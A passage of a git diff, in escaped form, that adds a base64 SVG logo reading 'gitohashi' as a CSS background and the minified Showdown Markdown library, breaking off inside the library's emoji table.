Q5NTQtMC40OTU0IDEuMzcyLTAuNDk1NCAwLjgyNTYgMCAxLjMyMSAwLjQ5NTQgMC40OTU0IDAuNDgyNyAwLjQ5NTQgMS4zMjEgMCAwLjg2MzgtMC41MDgxIDEuMzQ2LTAuNTA4MSAwLjQ3LTEuMzA4IDAuNDctMC44MzgzIDAtMS4zNDYtMC40Ny0wLjUwODEtMC40ODI3LTAuNTA4MS0xLjM0NnoiLz48cGF0aCBkPSJtMTM5LjcgMjIyLjNxMC43MTEzIDAgMS41MzctMC4zNTU3djIuNjQycS0wLjgyNTYgMC41NzE2LTIuNDc3IDAuNTcxNi0xLjg0MiAwLTIuNzMxLTEuMDkyLTAuODg5Mi0xLjEwNS0wLjg4OTItMy4zMDN2LTcuMzI5aC0xLjM3MnYtMS41MTJsMS43NjYtMS4yMTkgMC44NjM4LTIuOTk4aDIuMTU5djMuMDQ5aDIuNTY2djIuNjhoLTIuNTY2djcuNDQzcTAgMS40MjMgMS4xNDMgMS40MjN6Ii8+PC9nPjxnIHRyYW5zZm9ybT0ibWF0cml4KDQuNDg2IDAgMCA0LjQ4NiA5OS4wMyAtMzMyLjYpIj48ZyB0cmFuc2Zvcm09Im1hdHJpeCgxLjkyIC43NTg5IC0uNzU4OSAxLjkyIC0yMzQuNyAtODg3LjUpIj48ZyB0cmFuc2Zvcm09InJvdGF0ZSgtOS4xOTYgMjkwLjUgNDEyLjIpIiBmaWxsPSIjNGQ0ZDRkIj48cGF0aCBkPSJtMjg5LjYgNDEyLjYgNC4xOS0xLjQ0IDAuMDIwOS02ZS0zczAuMDEyNi03LjhlLTQgMC4wMTgzIDguNmUtNGMwLjAyMjMgOWUtMyAwLjAxODUgMC4wMjA4IDAuMDE4MiAwLjAyNzItNGUtMyAwLjAxODEtMC4wMTQzIDAuMDIxNy0wLjAxNDMgMC4wMjE3bC00LjE2OSAxLjU5MS0wLjAxNDYtMC4wNzItMC4wMTQzLTAuMDQzMnoiLz48cGF0aCBkPSJtMjg5LjYgNDEyLjZjLTAuMDUyNCAwLjAyMjYtMC4wODYxIDAuMDg5OS0wLjA2MjcgMC4xNDM3IDAuMDMwNyAwLjA0NjkgMC4wNzg4IDAuMDYxNCAwLjEyNTQgMC4wNTExLTJlLTMgLTAuMDU2Ni0wLjAxMzYtMC4wOTQ5LTAuMDM1My0wLjE1MjItNWUtMyAtMC4wMS0wLjAyMzktMC4wMzQyLTAuMDI5NS0wLjA0MzZ6Ii8+PC9nPjxlbGxpcHNlIGN4PSIyODkuNyIgY3k9IjQxMi44IiByeD0iLjA2MzA3IiByeT0iLjA1OTQzIiBmaWxsPSJ1cmwoI2EpIi8+PC9nPjxwYXRoIGQ9Im04LjE0NCAxMjQuOSAwLjA3Ni0wLjA1ODUgMC4wNzAxNi0wLjAzNTEgOS4xMjEtMS4wNTIgMC4wNDY3NyAwLjAxMTctOC45ODYgMS4xNjMtMC4wNDA5My0wLjA0NjgtMC4wOTkzOS0wLjA0NjgtMC4wOTM1NCAwLjAxMTd6IiBmaWxsPSJ1cmwoI2IpIi8+PHBhdGggZD0ibTguMjM4IDEyNS4yIDAuMTQ2Mi0wLjA2NDMgMC4wNDY3Ny0wLjA0NjggOS4wMzktMS4yNjMtMC4wMzUwOCAwLjAzNTEtOS4wMDkgMS4zNDUtMC4xMjI4IDAuMDExN3oiIGZpbGw9IiM0MjQ4NGMiIGZpbGwtb3BhY2l0eT0iLjcyMTYiLz48dGV4dCB0cmFuc2Zvcm09InJvdGF0ZSgtNy4wOTcpIiB4PSItNi42Mjk1NjYyIiB5PSIxMjUuMTUzNSIgZmlsbD0iIzAwMDAwMCIgZm9udC1mYW1pbHk9IidPcGVuIFNhbnMnIiBmb250LXNpemU9Ii4xMzQ1cHgiIGxldHRlci1zcGFjaW5nPSIwcHgiIHN0cm9rZS13aWR0aD0iLjAxNjgxIiB0ZXh0LWFsaWduPSJjZW50ZXIiIHRleHQtYW5jaG9yPSJtaWRkbGUiIHdvcmQtc3BhY2luZz0iMHB4IiBzdHlsZT0iZm9udC1mZWF0dXJlLXNldHRpbmdzOm5vcm1hbDtmb250LXZhcmlhbnQtY2Fwczpub3JtYWw7Zm9udC12YXJpYW50LWxpZ2F0dXJlczpub3JtYWw7Zm9udC12YXJpYW50LW51bWVyaWM6bm9ybWFsO2xpbmUtaGVpZ2h0OjEuMjUiIHhtbDpzcGFjZT0icHJlc2VydmUiPjx0c3BhbiB4PSItNi42Mjk1NjYyIiB5PSIxMjUuMTUzNSIgc3Ryb2tlLXdpZHRoPSIuMDE2ODEiPmdpdG9oYXNoaTwvdHNwYW4+PC90ZXh0Pjx0ZXh0IHRyYW5zZm9ybT0icm90YXRlKC03LjA5NykiIHg9Ii02LjYzMzMyNTYiIHk9IjEyNS4xNDgwNiIgZmlsbD0iIzk5OTk5OSIgZm9udC1mYW1pbHk9IidPcGVuIFNhbnMnIiBmb250LXNpemU9Ii4xMzQ1cHgiIGxldHRlci1zcGFjaW5nPSIwcHgiIHN0cm9rZS13aWR0aD0iLjAxNjgxIiB0ZXh0LWFsaWduPSJjZW50ZXIiIHRleHQtYW5jaG9yPSJtaWRkbGUiIHdvcmQtc3BhY2luZz0iMHB4IiBzdHlsZT0iZm9udC1mZWF0dXJlLXNldHRpbmdzOm5vcm1hbDtmb250LXZhcmlhbnQtY2Fwczpub3JtYWw7Zm9udC12YXJpYW50LWxpZ2F0dXJlczpub3JtYWw7Zm9udC12YXJpYW50LW51bWVyaWM6bm9ybWFsO2xpbmUtaGVpZ2h0OjEuMjUiIHhtbDpzcGFjZT0icHJlc2VydmUiPjx0c3BhbiB4PSItNi42MzMzMjU2IiB5PSIxMjUuMTQ4MDYiIGZpbGw9IiM5OTk5OTkiIHN0cm9rZS13aWR0aD0iLjAxNjgxIj5naXRvaGFzaGk8L3RzcGFuPjwvdGV4dD48L2c+PGcgdHJhbnNmb3JtPSJtYXRyaXgoNC40NTYgLS41MTUgLjUxNSA0LjQ1NiAzNy4yNSAtMzIxLjkpIj48ZyB0cmFuc2Zvcm09Im1hdHJpeCgxLjkyIC43NTg5IC0uNzU4OSAxLjkyIC0yMzQuNyAtODg3LjUpIj48ZyB0cmFuc2Zvcm09InJvdGF0ZSgtOS4xOTYgMjkwLjUgNDEyLjIpIiBmaWxsPSIjNGQ0ZDRkIj48cGF0aCBkPSJtMjg5LjYgNDEyLjYgNC4xOS0xLjQ0IDAuMDIwOS02ZS0zczAuMDEyNi03LjhlLTQgMC4wMTgzIDguNmUtNGMwLjAyMjMgOWUtMyAwLjAxODUgMC4wMjA4IDAuMDE4MiAwLjAyNzItNGUtMyAwLjAxODEtMC4wMTQzIDAuMDIxNy0wLjAxNDMgMC4wMjE3bC00LjE2OSAxLjU5MS0wLjAxNDYtMC4wNzItMC4wMTQzLTAuMDQzMnoiLz48cGF0aCBkPSJtMjg5LjYgNDEyLjZjLTAuMDUyNCAwLjAyMjYtMC4wODYxIDAuMDg5OS0wLjA2MjcgMC4xNDM3IDAuMDMwNyAwLjA0NjkgMC4wNzg4IDAuMDYxNCAwLjEyNTQgMC4wNTExLTJlLTMgLTAuMDU2Ni0wLjAxMzYtMC4wOTQ5LTAuMDM1My0wLjE1MjItNWUtMyAtMC4wMS0wLjAyMzktMC4wMzQyLTAuMDI5NS0wLjA0MzZ6Ii8+PC9nPjxlbGxpcHNlIGN4PSIyODkuNyIgY3k9IjQxMi44IiByeD0iLjA2MzA3IiByeT0iLjA1OTQzIiBmaWxsPSJ1cmwoI2EpIi8+PC9nPjxwYXRoIGQ9Im04LjE0NCAxMjQuOSAwLjA3Ni0wLjA1ODUgMC4wNzAxNi0wLjAzNTEgOS4xMjEtMS4wNTIgMC4wNDY3NyAwLjAxMTctOC45ODYgMS4xNjMtMC4wNDA5My0wLjA0NjgtMC4wOTkzOS0wLjA0NjgtMC4wOTM1NCAwLjAxMTd6IiBmaWxsPSJ1cmwoI2IpIi8+PHBhdGggZD0ibTguMjM4IDEyNS4yIDAuMTQ2Mi0wLjA2NDMgMC4wNDY3Ny0wLjA0NjggOS4wMzktMS4yNjMtMC4wMzUwOCAwLjAzNTEtOS4wMDkgMS4zNDUtMC4xMjI4IDAuMDExN3oiIGZpbGw9IiM0MjQ4NGMiIGZpbGwtb3BhY2l0eT0iLjcyMTYiLz48dGV4dCB0cmFuc2Zvcm09InJvdGF0ZSgtNy4wOTcpIiB4PSItNi42Mjk1NjYyIiB5PSIxMjUuMTUzNSIgZmlsbD0iIzAwMDAwMCIgZm9udC1mYW1pbHk9IidPcGVuIFNhbnMnIiBmb250LXNpemU9Ii4xMzQ1cHgiIGxldHRlci1zcGFjaW5nPSIwcHgiIHN0cm9rZS13aWR0aD0iLjAxNjgxIiB0ZXh0LWFsaWduPSJjZW50ZXIiIHRleHQtYW5jaG9yPSJtaWRkbGUiIHdvcmQtc3BhY2luZz0iMHB4IiBzdHlsZT0iZm9udC1mZWF0dXJlLXNldHRpbmdzOm5vcm1hbDtmb250LXZhcmlhbnQtY2Fwczpub3JtYWw7Zm9udC12YXJpYW50LWxpZ2F0dXJlczpub3JtYWw7Zm9udC12YXJpYW50LW51bWVyaWM6bm9ybWFsO2xpbmUtaGVpZ2h0OjEuMjUiIHhtbDpzcGFjZT0icHJlc2VydmUiPjx0c3BhbiB4PSItNi42Mjk1NjYyIiB5PSIxMjUuMTUzNSIgc3Ryb2tlLXdpZHRoPSIuMDE2ODEiPmdpdG9oYXNoaTwvdHNwYW4+PC90ZXh0Pjx0ZXh0IHRyYW5zZm9ybT0icm90YXRlKC03LjA5NykiIHg9Ii02LjYzMzMyNTYiIHk9IjEyNS4xNDgwNiIgZmlsbD0iIzk5OTk5OSIgZm9udC1mYW1pbHk9IidPcGVuIFNhbnMnIiBmb250LXNpemU9Ii4xMzQ1cHgiIGxldHRlci1zcGFjaW5nPSIwcHgiIHN0cm9rZS13aWR0aD0iLjAxNjgxIiB0ZXh0LWFsaWduPSJjZW50ZXIiIHRleHQtYW5jaG9yPSJtaWRkbGUiIHdvcmQtc3BhY2luZz0iMHB4IiBzdHlsZT0iZm9udC1mZWF0dXJlLXNldHRpbmdzOm5vcm1hbDtmb250LXZhcmlhbnQtY2Fwczpub3JtYWw7Zm9udC12YXJpYW50LWxpZ2F0dXJlczpub3JtYWw7Zm9udC12YXJpYW50LW51bWVyaWM6bm9ybWFsO2xpbmUtaGVpZ2h0OjEuMjUiIHhtbDpzcGFjZT0icHJlc2VydmUiPjx0c3BhbiB4PSItNi42MzMzMjU2IiB5PSIxMjUuMTQ4MDYiIGZpbGw9IiM5OTk5OTkiIHN0cm9rZS13aWR0aD0iLjAxNjgxIj5naXRvaGFzaGk8L3RzcGFuPjwvdGV4dD48L2c+PC9nPjwvc3ZnPg\u003d\u003d\u0022);\n+ width:0px;\n+ height:0px;\n+ padding:3em 4.5em 3em 4.5em;\n+ vertical-align:middle;\n+\tmargin-right: 0.3em;\n+\tmargin-bottom: 8px;\n+ background-repeat: no-repeat;\n+ color: rgba(0, 0, 0, 0) !important;\n+}\n+\ndiff --git a/assets/showdown.min.js b/assets/showdown.min.js\nnew file mode 100644\nindex 0000000..e9a28a8\n--- /dev/null\n+++ b/assets/showdown.min.js\n@@ -0,0 +1,3 @@\n+/*! showdown v 2.0.0-alpha1 - 19-04-2018 */\n+(function(){function C(g){\u0022use strict\u0022;var A\u003d{omitExtraWLInCodeBlocks:{defaultValue:!1,describe:\u0022Omit the default extra whiteline added to code blocks\u0022,type:\u0022boolean\u0022},noHeaderId:{defaultValue:!1,describe:\u0022Turn on/off generated header id\u0022,type:\u0022boolean\u0022},prefixHeaderId:{defaultValue:!1,describe:\u0022Add a prefix to the generated header ids. Passing a string will prefix that string to the header id. Setting to true will add a generic 'section-' prefix\u0022,type:\u0022string\u0022},rawPrefixHeaderId:{defaultValue:!1,describe:'Setting this option to true will prevent showdown from modifying the prefix. This might result in malformed IDs (if, for instance, the \u0022 char is used in the prefix)',type:\u0022boolean\u0022},ghCompatibleHeaderId:{defaultValue:!1,describe:\u0022Generate header ids compatible with github style (spaces are replaced with dashes, a bunch of non alphanumeric chars are removed)\u0022,type:\u0022boolean\u0022},rawHeaderId:{defaultValue:!1,describe:\u0022Remove only spaces, ' and \u005c\u0022 from generated header ids (including prefixes), replacing them with dashes (-). WARNING: This might result in malformed ids\u0022,type:\u0022boolean\u0022},headerLevelStart:{defaultValue:!1,describe:\u0022The header blocks level start\u0022,type:\u0022integer\u0022},parseImgDimensions:{defaultValue:!1,describe:\u0022Turn on/off image dimension parsing\u0022,type:\u0022boolean\u0022},simplifiedAutoLink:{defaultValue:!1,describe:\u0022Turn on/off GFM autolink style\u0022,type:\u0022boolean\u0022},excludeTrailingPunctuationFromURLs:{defaultValue:!1,describe:\u0022Excludes trailing punctuation from links generated with autoLinking\u0022,type:\u0022boolean\u0022},literalMidWordUnderscores:{defaultValue:!1,describe:\u0022Parse midword underscores as literal underscores\u0022,type:\u0022boolean\u0022},literalMidWordAsterisks:{defaultValue:!1,describe:\u0022Parse midword asterisks as literal asterisks\u0022,type:\u0022boolean\u0022},strikethrough:{defaultValue:!1,describe:\u0022Turn on/off strikethrough support\u0022,type:\u0022boolean\u0022},tables:{defaultValue:!1,describe:\u0022Turn on/off tables support\u0022,type:\u0022boolean\u0022},tablesHeaderId:{defaultValue:!1,describe:\u0022Add an id to table headers\u0022,type:\u0022boolean\u0022},ghCodeBlocks:{defaultValue:!0,describe:\u0022Turn on/off GFM fenced code blocks support\u0022,type:\u0022boolean\u0022},tasklists:{defaultValue:!1,describe:\u0022Turn on/off GFM tasklist support\u0022,type:\u0022boolean\u0022},smoothLivePreview:{defaultValue:!1,describe:\u0022Prevents weird effects in live previews due to incomplete input\u0022,type:\u0022boolean\u0022},smartIndentationFix:{defaultValue:!1,description:\u0022Tries to smartly fix indentation in es6 strings\u0022,type:\u0022boolean\u0022},disableForced4SpacesIndentedSublists:{defaultValue:!1,description:\u0022Disables the requirement of indenting nested sublists by 4 spaces\u0022,type:\u0022boolean\u0022},simpleLineBreaks:{defaultValue:!1,description:\u0022Parses simple line breaks as \u003cbr\u003e (GFM Style)\u0022,type:\u0022boolean\u0022},requireSpaceBeforeHeadingText:{defaultValue:!1,description:\u0022Makes adding a space between `#` and the header text mandatory (GFM Style)\u0022,type:\u0022boolean\u0022},ghMentions:{defaultValue:!1,description:\u0022Enables github @mentions\u0022,type:\u0022boolean\u0022},ghMentionsLink:{defaultValue:\u0022https://github.com/{u}\u0022,description:\u0022Changes the link generated by @mentions. Only applies if ghMentions option is enabled.\u0022,type:\u0022string\u0022},encodeEmails:{defaultValue:!0,description:\u0022Encode e-mail addresses through the use of Character Entities, transforming ASCII e-mail addresses into its equivalent decimal entities\u0022,type:\u0022boolean\u0022},openLinksInNewWindow:{defaultValue:!1,description:\u0022Open all links in new windows\u0022,type:\u0022boolean\u0022},backslashEscapesHTMLTags:{defaultValue:!1,description:\u0022Support for HTML Tag escaping. ex: \u003cdiv\u003efoo\u003c/div\u003e\u0022,type:\u0022boolean\u0022},emoji:{defaultValue:!1,description:\u0022Enable emoji support. Ex: `this is a :smile: emoji`\u0022,type:\u0022boolean\u0022},underline:{defaultValue:!1,description:\u0022Enable support for underline. Syntax is double or triple underscores: `__underline word__`. With this option enabled, underscores no longer parses into `\u003cem\u003e` and `\u003cstrong\u003e`\u0022,type:\u0022boolean\u0022},completeHTMLDocument:{defaultValue:!1,description:\u0022Outputs a complete html document, including `\u003chtml\u003e`, `\u003chead\u003e` and `\u003cbody\u003e` tags\u0022,type:\u0022boolean\u0022},metadata:{defaultValue:!1,description:\u0022Enable support for document metadata (defined at the top of the document between `«««` and `»»»` or between `---` and `---`).\u0022,type:\u0022boolean\u0022},splitAdjacentBlockquotes:{defaultValue:!1,description:\u0022Split adjacent blockquote blocks\u0022,type:\u0022boolean\u0022}};if(!1\u003d\u003d\u003dg)return JSON.parse(JSON.stringify(A));var e\u003d{};for(var C in A)A.hasOwnProperty(C)\u0026\u0026(e[C]\u003dA[C].defaultValue);return e}var p\u003d{},e\u003d{},i\u003d{},l\u003dC(!0),c\u003d\u0022vanilla\u0022,u\u003d{github:{omitExtraWLInCodeBlocks:!0,simplifiedAutoLink:!0,excludeTrailingPunctuationFromURLs:!0,literalMidWordUnderscores:!0,strikethrough:!0,tables:!0,tablesHeaderId:!0,ghCodeBlocks:!0,tasklists:!0,disableForced4SpacesIndentedSublists:!0,simpleLineBreaks:!0,requireSpaceBeforeHeadingText:!0,ghCompatibleHeaderId:!0,ghMentions:!0,backslashEscapesHTMLTags:!0,emoji:!0,splitAdjacentBlockquotes:!0},original:{noHeaderId:!0,ghCodeBlocks:!1},ghost:{omitExtraWLInCodeBlocks:!0,parseImgDimensions:!0,simplifiedAutoLink:!0,excludeTrailingPunctuationFromURLs:!0,literalMidWordUnderscores:!0,strikethrough:!0,tables:!0,tablesHeaderId:!0,ghCodeBlocks:!0,tasklists:!0,smoothLivePreview:!0,simpleLineBreaks:!0,requireSpaceBeforeHeadingText:!0,ghMentions:!1,encodeEmails:!0},vanilla:C(!0),allOn:function(){\u0022use strict\u0022;var g\u003dC(!0),A\u003d{};for(var e in g)g.hasOwnProperty(e)\u0026\u0026(A[e]\u003d!0);return A}()};function h(g,A){\u0022use strict\u0022;var e\u003dA?\u0022Error in \u0022+A+\u0022 extension-\u003e\u0022:\u0022Error in unnamed extension\u0022,C\u003d{valid:!0,error:\u0022\u0022};p.helper.isArray(g)||(g\u003d[g]);for(var I\u003d0;I\u003cg.length;++I){var r\u003de+\u0022 sub-extension \u0022+I+\u0022: \u0022,t\u003dg[I];if(\u0022object\u0022!\u003dtypeof t)return C.valid\u003d!1,C.error\u003dr+\u0022must be an object, but \u0022+typeof t+\u0022 given\u0022,C;if(!p.helper.isString(t.type))return C.valid\u003d!1,C.error\u003dr+'property \u0022type\u0022 must be a string, but '+typeof t.type+\u0022 given\u0022,C;var a\u003dt.type\u003dt.type.toLowerCase();if(\u0022language\u0022\u003d\u003d\u003da\u0026\u0026(a\u003dt.type\u003d\u0022lang\u0022),\u0022html\u0022\u003d\u003d\u003da\u0026\u0026(a\u003dt.type\u003d\u0022output\u0022),\u0022lang\u0022!\u003d\u003da\u0026\u0026\u0022output\u0022!\u003d\u003da\u0026\u0026\u0022listener\u0022!\u003d\u003da)return C.valid\u003d!1,C.error\u003dr+\u0022type \u0022+a+' is not recognized. Valid values: \u0022lang/language\u0022, \u0022output/html\u0022 or \u0022listener\u0022',C;if(\u0022listener\u0022\u003d\u003d\u003da){if(p.helper.isUndefined(t.listeners))return C.valid\u003d!1,C.error\u003dr+'. Extensions of type \u0022listener\u0022 must have a property called \u0022listeners\u0022',C}else if(p.helper.isUndefined(t.filter)\u0026\u0026p.helper.isUndefined(t.regex))return C.valid\u003d!1,C.error\u003dr+a+' extensions must define either a \u0022regex\u0022 property or a \u0022filter\u0022 method',C;if(t.listeners){if(\u0022object\u0022!\u003dtypeof t.listeners)return C.valid\u003d!1,C.error\u003dr+'\u0022listeners\u0022 property must be an object but '+typeof t.listeners+\u0022 given\u0022,C;for(var n in t.listeners)if(t.listeners.hasOwnProperty(n)\u0026\u0026\u0022function\u0022!\u003dtypeof t.listeners[n])return C.valid\u003d!1,C.error\u003dr+'\u0022listeners\u0022 property must be an hash of [event name]: [callback]. listeners.'+n+\u0022 must be a function but \u0022+typeof t.listeners[n]+\u0022 given\u0022,C}if(t.filter){if(\u0022function\u0022!\u003dtypeof t.filter)return C.valid\u003d!1,C.error\u003dr+'\u0022filter\u0022 must be a function, but '+typeof t.filter+\u0022 given\u0022,C}else if(t.regex){if(p.helper.isString(t.regex)\u0026\u0026(t.regex\u003dnew RegExp(t.regex,\u0022g\u0022)),!(t.regex instanceof RegExp))return C.valid\u003d!1,C.error\u003dr+'\u0022regex\u0022 property must either be a string or a RegExp object, but '+typeof t.regex+\u0022 given\u0022,C;if(p.helper.isUndefined(t.replace))return C.valid\u003d!1,C.error\u003dr+'\u0022regex\u0022 extensions must implement a replace string or function',C}}return C}function r(g,A){\u0022use strict\u0022;return\u0022¨E\u0022+A.charCodeAt(0)+\u0022E\u0022}p.helper\u003d{},p.extensions\u003d{},p.setOption\u003dfunction(g,A){\u0022use strict\u0022;return l[g]\u003dA,this},p.getOption\u003dfunction(g){\u0022use strict\u0022;return l[g]},p.getOptions\u003dfunction(){\u0022use strict\u0022;return l},p.resetOptions\u003dfunction(){\u0022use strict\u0022;l\u003dC(!0)},p.setFlavor\u003dfunction(g){\u0022use strict\u0022;if(!u.hasOwnProperty(g))throw Error(g+\u0022 flavor was not found\u0022);p.resetOptions();var A\u003du[g];for(var e in c\u003dg,A)A.hasOwnProperty(e)\u0026\u0026(l[e]\u003dA[e])},p.getFlavor\u003dfunction(){\u0022use strict\u0022;return c},p.getFlavorOptions\u003dfunction(g){\u0022use strict\u0022;if(u.hasOwnProperty(g))return u[g]},p.getDefaultOptions\u003dfunction(g){\u0022use strict\u0022;return C(g)},p.subParser\u003dfunction(g,A){\u0022use strict\u0022;if(p.helper.isString(g)){if(void 0\u003d\u003d\u003dA){if(e.hasOwnProperty(g))return e[g];throw Error(\u0022SubParser named \u0022+g+\u0022 not registered!\u0022)}e[g]\u003dA}},p.extension\u003dfunction(g,A){\u0022use strict\u0022;if(!p.helper.isString(g))throw Error(\u0022Extension 'name' must be a string\u0022);if(g\u003dp.helper.stdExtName(g),p.helper.isUndefined(A)){if(!i.hasOwnProperty(g))throw Error(\u0022Extension named \u0022+g+\u0022 is not registered!\u0022);return i[g]}\u0022function\u0022\u003d\u003dtypeof A\u0026\u0026(A\u003dA()),p.helper.isArray(A)||(A\u003d[A]);var e\u003dh(A,g);if(!e.valid)throw Error(e.error);i[g]\u003dA},p.getAllExtensions\u003dfunction(){\u0022use strict\u0022;return i},p.removeExtension\u003dfunction(g){\u0022use strict\u0022;delete i[g]},p.resetExtensions\u003dfunction(){\u0022use strict\u0022;i\u003d{}},p.validateExtension\u003dfunction(g){\u0022use strict\u0022;var A\u003dh(g,null);return!!A.valid||(console.warn(A.error),!1)},p.hasOwnProperty(\u0022helper\u0022)||(p.helper\u003d{}),void 0\u003d\u003d\u003dthis.document\u0026\u0026void 0\u003d\u003d\u003dthis.window\u0026\u0026(this.window\u003drequire(\u0022jsdom\u0022).jsdom(\u0022\u0022,{}).defaultView),p.helper.document\u003dthis.window.document,p.helper.isString\u003dfunction(g){\u0022use strict\u0022;return\u0022string\u0022\u003d\u003dtypeof g||g instanceof String},p.helper.isFunction\u003dfunction(g){\u0022use strict\u0022;return g\u0026\u0026\u0022[object Function]\u0022\u003d\u003d\u003d{}.toString.call(g)},p.helper.isArray\u003dfunction(g){\u0022use strict\u0022;return Array.isArray(g)},p.helper.isUndefined\u003dfunction(g){\u0022use strict\u0022;return void 0\u003d\u003d\u003dg},p.helper.forEach\u003dfunction(g,A){\u0022use strict\u0022;if(p.helper.isUndefined(g))throw new Error(\u0022obj param is required\u0022);if(p.helper.isUndefined(A))throw new Error(\u0022callback param is required\u0022);if(!p.helper.isFunction(A))throw new Error(\u0022callback param must be a function/closure\u0022);if(\u0022function\u0022\u003d\u003dtypeof g.forEach)g.forEach(A);else if(p.helper.isArray(g))for(var e\u003d0;e\u003cg.length;e++)A(g[e],e,g);else{if(\u0022object\u0022!\u003dtypeof g)throw new Error(\u0022obj does not seem to be an array or an iterable object\u0022);for(var C in g)g.hasOwnProperty(C)\u0026\u0026A(g[C],C,g)}},p.helper.stdExtName\u003dfunction(g){\u0022use strict\u0022;return g.replace(/[_?*+\u005c/\u005c\u005c.^-]/g,\u0022\u0022).replace(/\u005cs/g,\u0022\u0022).toLowerCase()},p.helper.escapeCharactersCallback\u003dr,p.helper.escapeCharacters\u003dfunction(g,A,e){\u0022use strict\u0022;var C\u003d\u0022([\u0022+A.replace(/([\u005c[\u005c]\u005c\u005c])/g,\u0022\u005c\u005c$1\u0022)+\u0022])\u0022;e\u0026\u0026(C\u003d\u0022\u005c\u005c\u005c\u005c\u0022+C);var I\u003dnew RegExp(C,\u0022g\u0022);return g\u003dg.replace(I,r)};var m\u003dfunction(g,A,e,C){\u0022use strict\u0022;var I,r,t,a,n,o\u003dC||\u0022\u0022,s\u003d-1\u003co.indexOf(\u0022g\u0022),i\u003dnew RegExp(A+\u0022|\u0022+e,\u0022g\u0022+o.replace(/g/g,\u0022\u0022)),l\u003dnew RegExp(A,o.replace(/g/g,\u0022\u0022)),c\u003d[];do{for(I\u003d0;t\u003di.exec(g);)if(l.test(t[0]))I++||(a\u003d(r\u003di.lastIndex)-t[0].length);else if(I\u0026\u0026!--I){n\u003dt.index+t[0].length;var u\u003d{left:{start:a,end:r},match:{start:r,end:t.index},right:{start:t.index,end:n},wholeMatch:{start:a,end:n}};if(c.push(u),!s)return c}}while(I\u0026\u0026(i.lastIndex\u003dr));return c};p.helper.matchRecursiveRegExp\u003dfunction(g,A,e,C){\u0022use strict\u0022;for(var I\u003dm(g,A,e,C),r\u003d[],t\u003d0;t\u003cI.length;++t)r.push([g.slice(I[t].wholeMatch.start,I[t].wholeMatch.end),g.slice(I[t].match.start,I[t].match.end),g.slice(I[t].left.start,I[t].left.end),g.slice(I[t].right.start,I[t].right.end)]);return r},p.helper.replaceRecursiveRegExp\u003dfunction(g,A,e,C,I){\u0022use strict\u0022;if(!p.helper.isFunction(A)){var r\u003dA;A\u003dfunction(){return r}}var t\u003dm(g,e,C,I),a\u003dg,n\u003dt.length;if(0\u003cn){var o\u003d[];0!\u003d\u003dt[0].wholeMatch.start\u0026\u0026o.push(g.slice(0,t[0].wholeMatch.start));for(var s\u003d0;s\u003cn;++s)o.push(A(g.slice(t[s].wholeMatch.start,t[s].wholeMatch.end),g.slice(t[s].match.start,t[s].match.end),g.slice(t[s].left.start,t[s].left.end),g.slice(t[s].right.start,t[s].right.end))),s\u003cn-1\u0026\u0026o.push(g.slice(t[s].wholeMatch.end,t[s+1].wholeMatch.start));t[n-1].wholeMatch.end\u003cg.length\u0026\u0026o.push(g.slice(t[n-1].wholeMatch.end)),a\u003do.join(\u0022\u0022)}return a},p.helper.regexIndexOf\u003dfunction(g,A,e){\u0022use strict\u0022;if(!p.helper.isString(g))throw\u0022InvalidArgumentError: first parameter of showdown.helper.regexIndexOf function must be a string\u0022;if(A instanceof RegExp\u003d\u003d!1)throw\u0022InvalidArgumentError: second parameter of showdown.helper.regexIndexOf function must be an instance of RegExp\u0022;var C\u003dg.substring(e||0).search(A);return 0\u003c\u003dC?C+(e||0):C},p.helper.splitAtIndex\u003dfunction(g,A){\u0022use strict\u0022;if(!p.helper.isString(g))throw\u0022InvalidArgumentError: first parameter of showdown.helper.regexIndexOf function must be a string\u0022;return[g.substring(0,A),g.substring(A)]},p.helper.encodeEmailAddress\u003dfunction(g){\u0022use strict\u0022;var e\u003d[function(g){return\u0022\u0026#\u0022+g.charCodeAt(0)+\u0022;\u0022},function(g){return\u0022\u0026#x\u0022+g.charCodeAt(0).toString(16)+\u0022;\u0022},function(g){return g}];return g\u003dg.replace(/./g,function(g){if(\u0022@\u0022\u003d\u003d\u003dg)g\u003de[Math.floor(2*Math.random())](g);else{var A\u003dMath.random();g\u003d.9\u003cA?e[2](g):.45\u003cA?e[1](g):e[0](g)}return g})},p.helper.padEnd\u003dfunction(g,A,e){\u0022use strict\u0022;return A\u003e\u003e\u003d0,e\u003dString(e||\u0022 \u0022),g.length\u003eA?String(g):((A-\u003dg.length)\u003ee.length\u0026\u0026(e+\u003de.repeat(A/e.length)),String(g)+e.slice(0,A))},p.helper.unescapeHTMLEntities\u003dfunction(g){\u0022use strict\u0022;return g.replace(/\u0026quot;/g,'\u0022').replace(/\u0026lt;/g,\u0022\u003c\u0022).replace(/\u0026gt;/g,\u0022\u003e\u0022).replace(/\u0026amp;/g,\u0022\u0026\u0022)},\u0022undefined\u0022\u003d\u003dtypeof console\u0026\u0026(console\u003d{warn:function(g){\u0022use strict\u0022;alert(g)},log:function(g){\u0022use strict\u0022;alert(g)},error:function(g){\u0022use strict\u0022;throw g}}),p.helper.regexes\u003d{asteriskDashAndColon:/([*_:~])/g},p.helper.emojis\u003d{\u0022+1\u0022:\u0022👍\u0022,\u0022-1\u0022:\u0022👎\u0022,100:\u0022💯\u0022,1234:\u0022🔢\u0022,\u00221st_place_medal\u0022:\u0022🥇\u0022,\u00222nd_place_medal\u0022:\u0022🥈\u0022,\u00223rd_place_medal\u0022:\u0022🥉\u0022,\u00228ball\u0022:\u0022🎱\u0022,a:\u0022🅰️\u0022,ab:\u0022🆎\u0022,abc:\u0022🔤\u0022,abcd:\u0022🔡\u0022,accept:\u0022🉑\u0022,aerial_tramway:\u0022🚡\u0022,airplane:\u0022✈️\u0022,alarm_clock:\u0022⏰\u0022,alembic:\u0022⚗️\u0022,alien:\u0022👽\u0022,ambulance:\u0022🚑\u0022,amphora:\u0022🏺\u0022,anchor:\u0022⚓️\u0022,angel:\u0022👼\u0022,anger:\u0022💢\u0022,angry:\u0022😠\u0022,anguished:\u0022😧\u0022,ant:\u0022🐜\u0022,apple:\u0022🍎\u0022,aquarius:\u0022♒️\u0022,aries:\u0022♈️\u0022,arrow_backward:\u0022◀️\u0022,arrow_double_down:\u0022⏬\u0022,arrow_double_up:\u0022⏫\u0022,arrow_down:\u0022⬇️\u0022,arrow_down_small:\u0022🔽\u0022,arrow_forward:\u0022▶️\u0022,arrow_heading_down:\u0022⤵️\u0022,arrow_heading_up:\u0022⤴️\u0022,arrow_left:\u0022⬅️\u0022,arrow_lower_left:\u0022↙️\u0022,arrow_lower_right:\u0022↘️\u0022,arrow_right:\u0022➡️\u0022,arrow_right_hook:\u0022↪️\u0022,arrow_up:\u0022⬆️\u0022,arrow_up_down:\u0022↕️\u0